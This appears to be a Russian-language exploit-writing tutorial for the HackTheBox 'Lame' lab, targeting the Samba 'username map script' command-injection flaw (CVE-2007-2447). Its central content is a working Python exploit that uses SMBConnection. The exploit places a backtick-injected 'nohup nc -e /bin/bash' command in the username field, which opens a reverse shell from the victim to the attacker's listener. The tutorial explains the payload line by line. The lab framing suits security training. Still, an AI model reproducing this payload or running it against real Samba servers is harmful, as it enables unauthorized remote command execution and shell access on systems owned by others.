
Оригинальный эксплойт: https://www.exploit-db.com/exploits/16320
Название эксплойта: Samba username map script RCE
CVE: 2007-2447
Лаборатория: Lame - HackTheBox
В версиях Samba ниже 3.0.25 существует уязвимость, которая позволяет атакующему выполнять системные команды, отправляя на SMB-сервер некорректно сформированный запрос с именем пользователя.
Вот пример использования команды nohup для создания каталога:

С точки зрения программирования /= означает оператор деления с присваиванием, обычно используемый в циклах. Но зачем нам использовать его здесь?
Причина использования этого оператора — разделить поле домена и поле имени пользователя при отправке запроса; лучшее объяснение можно найти здесь.
Мы используем поле имени пользователя, чтобы открыть netcat-соединение и подключиться к нашему серверу.
Писать эксплойт очень просто, потому что для Python уже есть библиотека SMB Client (установите пакет python3-samba), так что всё, что вам нужно сделать, — использовать её следующим образом:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
Давайте разберёмся, как работает SMBConnection. Я указал username, но что это за три другие пустые строки?
Эти три других аргумента: password, my_name и remote_name
Для того чтобы наш эксплойт было легко читать, мы можем явно указать их вместе со значениями, но значения аргументов после username не обязательны:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
Следующую часть понять проще: мы используем экземпляр класса SMBConnection для установки соединения и передаём IP-адрес цели, порт и таймаут в секундах:
conn.connect(rhost, rport, timeout=10)
На этом занятии по разработке эксплойтов вы узнали о создании SMB-клиента и подключении к SMB-серверу. Вы также узнали о командах Linux, таких как nohup, с которыми можно поэкспериментировать позже. Вы узнали, как подключиться к машине атакующего с машины жертвы с помощью netcat, — это может пригодиться в вашем пути разработчика эксплойтов.